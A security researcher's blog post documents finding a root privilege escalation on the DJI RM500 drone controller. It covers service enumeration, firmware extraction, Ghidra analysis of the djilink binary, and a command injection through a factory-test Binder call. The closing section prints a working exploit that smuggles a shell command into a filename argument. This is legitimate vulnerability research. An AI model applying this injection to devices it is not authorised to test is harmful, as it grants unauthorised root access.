This research is about the DJI RM500 Smart Controller. It's the remote sold with with the DJI Mini 2, Mavic Air 2, Mavic 2 Series and Air 2S. It was released in 2019 but is now discontinued and no longer sold or supported by DJI. It received it's latest update in October 2022 and runs Android 7.1.2 (Linux 4.4.83) on a Rockchip RK3399. It can run user supplied apps, and has a USB-A port for external peripherals. It also provides access to ADB to support debugging when developing your own Android apps for the device.
I was asked to look into this device to see if it could support a USB to Ethernet adapter in the USB host port, to improve connection reliability over the built in Wi-Fi. By running
ifconfig -a using ADB shell after plugging in the adapter, we can see the adapter is recognized, but is not brought up by default. Trying to manually bring it up using
ifconfig eth0 up is not allowed due to a lack of permissions for the default ADB
ifconfig: ioctl 8914: Operation not permitted. For the adapter to work we need to be able to run commands as
This blog post will be about escalating our privileges from the default ADB
shell user to
root. This requires a physical connection to the remote, and accepting a pop-up on the Android side the first time we try to connect using ADB. I will describe most of the steps I took to find the exploit, some of them not strictly necessary, but they might still be interesting in case you want to perform your own research on DJI equipment.
First I'll look at possible attack surfaces. Then I'll analyze the most promising binary,
djilink, in Ghidra and reverse engineer the communication through Binder. Finally, I'll use a command injection vulnerability to gain
First, we want to identify some possible attack services surfaces. The remote uses Android, so there must be some DJI specific stuff running on top of this to control the drone. I expect an Android app to run the GUI, and some native services to handle the proprietary joysticks/buttons and the radio to connect to the drone.
We will start by looking in userspace, but if no interesting things are found we can also look at some DJI specific kernel drivers to talk to the peripherals such as the radio or joysticks. Those should be provided by the manufacturer due to the GPL license of the Linux kernel. Unfortunately DJI seems to ignore this requirement and only has an outdated Open Source page with broken links. Luckily for this research we didn't need to look at the kernel. We'll look at open ports, running processes and available Binder services.
netstat -tulpn we can check for any services that have exposed ports on TCP or UDP. However, this didn't show anything interesting. There are some ports in the
4000X range, but we can't see what process owns them because we don't have root privileges.
rm500:/ $ netstat -tulpn (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program Name tcp 0 0 0.0.0.0:40007 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:40008 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:40009 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:40010 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:5037 0.0.0.0:* LISTEN 1510/adb udp 0 0 0.0.0.0:50764 0.0.0.0:* -
ps we can look at all the running processes on the system. By looking for DJI specific processes we can identify
/system/bin/dji_wms as two processes that run as root. We will be taking a closer look at those in the next section.
rm500:/ $ ps | grep -i dji root 144 2 0 0 0 0000000000 S dji_bat_charge_ root 299 1 63296 11656 0 0000000000 S /system/bin/djilink root 664 1 9004 1852 0 0000000000 S /system/bin/dji_wms system 1127 301 1571732 76156 0 0000000000 S com.dji
Binder serves as a mechanism on Android for Inter Process Communication (IPC) and Remote Procedure Calls (RPC). For example, Binder can be used to communicate between apps and native services. Or between a system service with high privileges and a client program with low privileges. It can communicate simple messages, but also more complex objects such as shared memory buffers.
It's a very useful tool when developing complex Android applications. There is a nice command line utility called
service that is used for interacting with Binder from the command line using the ADB shell. Using
service list we can see all DJI specific Binder services that are used. Here we also see
djilink pop up, so we will start by analyzing this service.
rm500:/ $ service list | grep -i dji 0 DJIBaseService:  1 DJIService:  83 protocol: [com.dji.protocol.IProtocolManager] 84 report: [com.dji.report.IReportManager] 108 djilink: [djilink]
If we are only interested in a few files such as
/system/bin/djilink we can use
adb pull to grab those files right of the device. But in case we need to widen our search it might be nice to have a full copy of the system. Luckily the update file for the whole OS of the RM500 can be downloaded from DankDroneDownloader.
The extension of the file we just downloaded (
.bin, but the
file command line utility tells us that it's actually a
POSIX tar archive. We can add the
.tar extension and extract it.
$ tar -xvf V01.01.0072_rm500_dji_system.bin.tar --one-top-level $ cd V01.01.0072_rm500_dji_system.bin $ ls -Ggh total 1.7G -rw-r--r-- 1 1.7G Nov 4 2022 rm500_0205_v00.00.11.98_20221031.pro.fw.sig -rw-r--r-- 1 106K Nov 4 2022 rm500_0600_v06.01.02.15_20210312.pro.fw.sig -rw-r--r-- 1 25M Nov 4 2022 rm500_1301_v04.00.00.15_20210616.pro.fw.sig -rw-r--r-- 1 22M Nov 4 2022 rm500_1407_v05.01.00.15_20220301.pro.fw.sig -rw-r--r-- 1 1.8K Nov 4 2022 rm500.cfg.sig
This results in a few files, of which only
rm500_0205_v00.00.11.98_20221031.pro.fw.sig is large enough to contain the root filesystem. If we run
binwalk on this file it tells us that this file contains lots of
Zip archive data starting at byte 480.
$ binwalk rm500_0205_v00.00.11.98_20221031.pro.fw.sig DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 480 0x1E0 Zip archive data, at least v1.0 to extract, name: system.patch.dat 530 0x212 Zip archive data, at least v2.0 to extract, name: META-INF/com/android/metadata 732 0x2DC Zip archive data, at least v2.0 to extract, name: META-INF/com/google/android/update-binary 649999 0x9EB0F Zip archive data, at least v2.0 to extract, name: META-INF/com/google/android/updater-script 650625 0x9ED81 Zip archive data, at least v2.0 to extract, name: boot.img <snip>
We could try to strip the first 480 bytes, but it seems like
unzip already handles this just fine. If we rename the file to
rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip we can extract it:
$ unzip rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip Archive: rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip signed by SignApk warning [rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip]: 480 extra bytes at beginning or within zipfile (attempting to process anyway) extracting: system.patch.dat inflating: boot.img inflating: system.new.dat inflating: system.transfer.list inflating: trust.img inflating: uboot.img <snip>
system.new.dat is an ext4 image, but trying to loopback mount it, doesn't work. It turns out that
system.new.dat is a sparse file, and
system.transfer.list contains instructions on how to reconstruct the original file. We can use sdat2img to build the proper ext4 image. It can be downloaded from GitHub, or simply installed from the Arch AUR. The resulting image be mounted and we can copy out
/bin/djilink to analyze it further.
$ sdat2img system.transfer.list system.new.dat system.img sdat2img binary - version: 1.2 Android Nougat 7.x / Oreo 8.x detected! Skipping command erase... Copying 1024 blocks into position 0... Copying 683 blocks into position 1024... Copying 143 blocks into position 1708... Copying 198 blocks into position 1852... Copying 639 blocks into position 2050... <snip> Done! Output image: /home/willem/Downloads/V01.01.0072_rm500_dji_system.bin/system.img $ mkdir mnt $ sudo mount -o loop,ro system.img mnt
In the previous steps we identified the
djilink binary as an interesting target for our analysis, since it runs at root, exposes a Binder service, and might be the source of our mystery TCP ports in the
4000X range. By unpacking an OS update we extracted the binary to analyze it further in Ghidra. Loading the file into Ghidra is straightforward, and we use the default options and analysis settings.
After loading the binary in Ghidra, we can start looking for some low hanging fruit. We don't have anything specific we are looking for yet, so we can go through some functions that are a likely source of mistakes such as
We start by looking for all uses of the
system() function, which is used to run an external shell command. This an easy way to run an external program, but you have to be very careful when using user provided data to build the command passed to the
system() function. This is similar to needing to sanitize user inputs to prevent SQL injection.
There are 42 places where the
system() function is used, so it took some time to go through them and find a potential command injection. Sometimes it looks like user input is used when building the command, but then it turns out the data is not actually attacker controlled.
In a lot of places the
system() function is used to perform simple file system operations, instead of the proper functions such as
fprintf(). This is considered bad practice, therefore this seems promising for finding a potential exploit. An example of improper use of
system() to write a timestamp to a log file:
After sifting through a bunch more of that, I found an interesting function displayed below. This function seems part of a factory testing procedure, and uses
tinycap to make a recording using the microphone and writing the results to a filename that is passed to the function. This filename is used to build the command that is passed to
system() and is not checked for special characters. If we put a
; in the filename we can inject a second shell command that also gets executed. The proper way to do this would be to use the
execve() function, which has a separate argument for command line flags, which fixes the shell injection.
This function is called by a wrapper function that allows both starting and stopping a capture. Looking at the
android_log_print function calls, the function is probably called
setMicStatus. A pointer to this wrapper function is located in a lookup table at
0x001fe5c8. In turn, this lookup table is used in functions that have calls to
libbinder.so. So maybe this function is meant to be called using a Binder RPC?
After some more digging on the filesystem I found
libdjilink.so. This seems to be a helper library to easily call functions from
djilink from external programs using Binder. By looking for the string
setMicStatus, I quickly discovered a function called
BpLinkService::setMicStatus that looks a lot like it calls the desired function in
It writes 4 integers and 1 string into a parcel, and then calls service 0x406 (1030 in decimal), which matches the arguments to the function in
libdjilink we found earlier. Using the
service command we can quickly verify if our assumptions are right. We can use
adb logcat to keep eye on the logs. When we run
service call djilink 1030 we notice a bunch of logs in
logcat, after which
djilink seems to crash and restart. It includes the following interesting bit:
08-06 17:25:40.095 1378 1405 E Parcel : Reading a NULL string not supported here. 08-06 17:25:40.095 1378 1405 D LinkService: factorytest: setMicStatus 0 08-06 17:25:40.095 1378 1405 D utils : factorytest: Stop nProcess 0
From the logs it looks like it tries to read a NULL string. It's outputting the log strings that we found earlier. Maybe it will work if we send the right arguments in the Binder parcel? If we match the code from
libdjilink.so we need to send 4
Int322s followed by
String16 for a filename. I'm not sure which integer stands for which argument, so I set them all to 1 to make sure we start the recording. We can do this with the following command:
service call djilink 1030 i32 1 i32 1 i32 1 i32 1 s16 "/sdcard/test.wav". This results in the following
08-06 17:29:52.830 1431 1431 D LinkService: factorytest: setMicStatus 1 08-06 17:29:52.830 1431 1431 D utils : factorytest: cmd tinycap /sdcard/test.wav -D 0 -d 0 -i 1 -c 1 -r 48000 -b 16 -t 1 08-06 17:29:53.332 1431 1431 D utils : factorytest: Started record of /sdcard/test.wav nProcess 1469
We can also confirm a 1 second audio file showed up in
/sdcard and is owned by root. Interestingly the file seems to be completely silent, so recording doesn't actually work. However, this means we can successfully call the
setMicStatus function where we freely control the filename of the resulting file.
Now that we can call
setMicStatus using the command line, we can try to exploit the potential command injection. As a reminder, the format string used to build the command is
"tinycap %s -D 0 -d 0 -i %d -c %d -r 48000 -b 16 -t %d".
Here we freely control the first
%s, where the total command needs to stay under 128 characters. If we set our filename to
";whoami > /sdcard/whoami;" the total command becomes
"tinycap ;whoami > /sdcard/whoami; -D 0 -d 0 -i 1 -c 1 -r 48000 -b 16 -t 1" after filling in all the placeholders.
We can test this using
service call djilink 1030 i32 1 i32 1 i32 2 i32 1 s16 ";whoami > /sdcard/whoami;". If we now print the contents of
/sdcard/whoami we can see that our exploit actually works! We can run commands as root.
rm500:/ $ cat /sdcard/whoami root
In this post, I described the process of finding a privilege escalation to gain root from an ADB shell, by abusing some code that was meant for factory testing the peripherals in the remote. This allowed us to run
ifconfig eth0 up as root and enable the Ethernet adapter, which worked fine after that. Fortunately, we could exploit the vulnerability with command line tools that were already present on the Android device, so we didn't need to fiddle with cross-compiler setups to build a payload.
The exploit itself is has a relatively low impact, since it requires physical access to the device and requires the user to accept a popup when connecting using ADB. Nevertheless, it can be very useful for research purposes in case you want to get root on the RM500 Remote to assist with further research on DJI drones.
The RM500 is no longer sold or supported by DJI, and is therefore considered out of scope on DJI's Bug Bounty Progam. Unfortunately, reporting a vulnerability using DJI's Bug Bounty Program prevents researchers from publishing their work without DJI's approval, and they don't list a security contact to report issues outside of their Bug Bounty Program. Given the low impact of this vulnerability, and the probably numerous vulnerabilities in Android 7 itself, I decided to just publish my research.